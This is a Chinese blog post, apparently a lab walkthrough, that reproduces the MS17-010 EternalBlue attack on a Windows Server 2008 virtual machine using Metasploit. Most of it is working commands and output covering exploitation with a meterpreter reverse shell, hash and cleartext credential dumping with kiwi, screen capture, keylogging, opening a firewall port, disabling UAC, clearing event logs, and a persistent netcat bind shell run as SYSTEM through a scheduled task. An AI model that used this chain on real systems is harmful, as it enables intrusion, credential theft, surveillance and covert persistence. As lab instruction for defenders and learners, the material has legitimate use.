MS17-010/CVE-2017-0143永恒之蓝 漏洞复现

声明:

本文仅供交流学习,未经授权的渗透测试都是违法行为,产生的一切后果自负,请各位熟知《网络安全法》

简介

漏洞为外界所知源于勒索病毒的爆发,该病毒利用NSA(美国国家安全局泄露的网络攻击工具永恒之蓝(EternalBlue)改造而成

环境搭建

虚拟平台VM Ware

靶机:Windows Server 2008    IP:192.168.10.142/24

攻击机:Kali                              IP:192.168.10.10/24

工具介绍

Metasploit Framework(MSF)一款开源的安全漏洞检测工具,简称MSF
可以收集信息、探测系统漏洞、执行漏洞利用测试等,为渗透测试、攻击编码和漏洞研究提供了一个可靠平台
集成数千个漏洞利用、辅助测试模块,并保持持续更新由著名黑客、安全专家H.D.Moore主导开发
官方网站: https://metasploit.com

由于MSF渗透测试框架已经集成在了Kali系统中,所以不需要单独安装,只需要使用命令升级系统程序的同时更新MSF即可

apt upgrade

环境,工具全部准备好以后就可以开始了

登录Kali系统的root用户

在终端输入msfconsole即可进入控制台

输入?即可获取帮助

MSF核心命令

exit    //获取帮助

back//退出MSF控制台

show//查看模块或相关信息

search//搜索模块

use//使用模块

options//列出当前模块选项

set//设置模块选项

run或exploit//运行当前模块

开始操作

第一步:漏洞扫描,使用脚本进行漏洞扫描

在MSF控制台中输入search ms17-010搜索漏洞

命令:

search ms17-010  #利用search命令,搜索漏洞相关利用模块

使用模块3来进行扫描,会显示设置对方IP地址

输入set rhosts 192.168.10.142

然后使用run来运行

msf6 > use 3
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.10.142
rhosts => 192.168.10.142
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

结果会显示靶机的系统版本信息而且会提示Host is likely VULNERABLE to MS17-010!

意味着靶机系统存在MS17-010漏洞

第二步漏洞利用

现在我们已经知道靶机系统存在MS17-010漏洞,接下来 我们开始漏洞利用

msf6 auxiliary(scanner/smb/smb_ms17_010) > back //退出切换脚本
msf6 > use 0   //使用脚本0,建立反弹连接
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.10.142//设置对方IP
rhosts => 192.168.10.142
msf6 exploit(windows/smb/ms17_010_eternalblue) > run//执行

Meterpreter作为攻击载荷使用,以便后渗透操作

meterpreter > hashdump  //获取用户和密码
meterpreter > getuid    //获取用户信息

可以看到成功获取了靶机的账户和密码,不过密码是经过MD5加密过的,可以拿到MD5解密网站去解密

第三步加载Kiwi模块,获取账号信息

meterpreter > load kiwi   //加载kiwi模块
meterpreter > creds_all   //获取账户信息

通过kiwi模块我们就可以成功获取到靶机的明文密码,但是kiwi模块的前提是对方登录了以后,将账户密码存到了内存中,我们才可以读取到

第四步进程迁移,与稳定进程绑定

meterpreter > ps   //查看进程

一般带administrator的都是稳定进程,我们这里选择explorer.exe做绑定,进程号1872

注意,进程号跟我的不一定一样,选择自己显示的进程号即可

erpreter > migrate 1872   //迁移进程到1872
[*] Migrating from 1140 to 1872...    //从1140迁移到1872
[*] Migration completed successfully.  //迁移成功

第五步,远程监控屏幕

使用screen share命令可以获取到靶机的屏幕,实现监控

meterpreter > screenshare

第六步,开启键盘记录

记录键盘的脚本放在post/windows/capture/keylog_recorder路径下

直接执行

meterpreter > run post/windows/capture/keylog_recorder 

如果显示了Recording keystrokes 就代表着已经开始记录靶机的键盘记录,不论输入什么,都会被记录 下来,文件保存在标红的目录里

验证一下是开启了键盘记录,在靶机中创建一个文本随便输入一点东西

回到Kali中,找到保存键盘记录的文件

复制路径,直接到文件系统中回车就会打开

ctrl+c退出记录

第七步,创建后门,添加防火墙规则

进入到靶机的终端

meterpreter > shell   //进入控制台

应用65001代码页可以很好的解决win终端乱码

C:\Windows\system32>chcp 65001
chcp 65001
Active code page: 65001

进入了靶机终端我们可以控制靶机防火墙的开关

C:\Windows\system32>netsh advfirewall set allprofiles state on//开启防火墙
C:\Windows\system32>netsh advfirewall set allprofiles state off//关闭防火墙

 添加一条入站规则,协议tcp端口666 名称HM

C:\Windows\system32>netsh firewall add portopening tcp 666 HM enable all

进入靶机查看防火墙允许的程序,HM已经被成功添加

第八部步,操作注册表关闭UAC

用户账户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。

C:\Windows\system32>reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

第九步,清除日志

日志会记录我们的所有操作,先来看下靶机的日志

注意:在真实的渗透测试中,请勿清除日志

清除日志命令

meterpreter > clearev 

再返回靶机中查看日志

所有日志已经被清除

第十步,持续性后门程序植入

这里用到了net cat 又称瑞士军刀,详情看这里

https://blog.csdn.net/weixin_44431280/article/details/123455083

nc已经集成在Kali中,不需要单独下载,文件路径/usr/share/windows-binaries/nc.exe

上传命令

upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32  

上传成功

将nc.exe添加开机启动,并且监听666端口

还是通过shell命令先进入终端

C:\Windows\system32>schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\nc.exe -Ldp 666 -e cmd.exe" /sc onstart

 重启靶机

通过nc连接靶机

┌──(root㉿kali)-[~]
└─# nc 192.168.10.142 666

 可以看到,在上传了持续后门程序以后,即使靶机不登录也可以对靶机进行控制

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值